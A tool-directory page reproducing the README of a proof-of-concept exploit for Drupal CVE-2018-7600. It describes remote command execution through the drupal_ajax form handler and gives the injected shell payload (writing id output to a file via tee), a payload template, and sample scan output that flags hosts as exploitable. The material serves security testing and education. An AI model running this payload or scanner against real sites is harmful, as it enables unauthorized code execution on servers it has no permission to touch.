Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-7600 — Proof-of-Concept for Drupal CVE-2018-7600 / SA-CORE-2018-002 | Kitploit
Tools/GitHubGitHub/thehappydinoa/cve-2018-7600
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentArchived
GitHubthehappydinoa/cve-2018-7600

CVE-2018-7600

Proof-of-Concept for Drupal CVE-2018-7600 / SA-CORE-2018-002

View Repository
713 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Proof-Of-Concept for CVE-2018-7600 / SA-CORE-2018-002 codebeat badge

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.

How it works

  1. It sends a packet to the drupal_ajax wrapper to register a user. Allows user to use the exec markup and run bash. This PoC sends a the user name and id to abcde.txt.

    root@kitploit:~
    echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
    
  2. Checks http*://example.com/abcde.txt

root@kitploit:~
[!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
[?] Enter file name (example: /root/file/hosts.txt): hosts.txt
[+] https://example.com/ Possibly exploitable
[~] Checking... https://example.com/abcde.text
[+] https://example.com/ Exploitable
[+] UID: 33 Name: www-data
[+] Deleting... https://example.com/abcde.text

Payloads

%s = file name

User ID, PID, and Group Payload

root@kitploit:~
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s

Thanks to

  • Thanks to Vitalii Rudnykh

Provided only for educational or information purposes.

Download Tool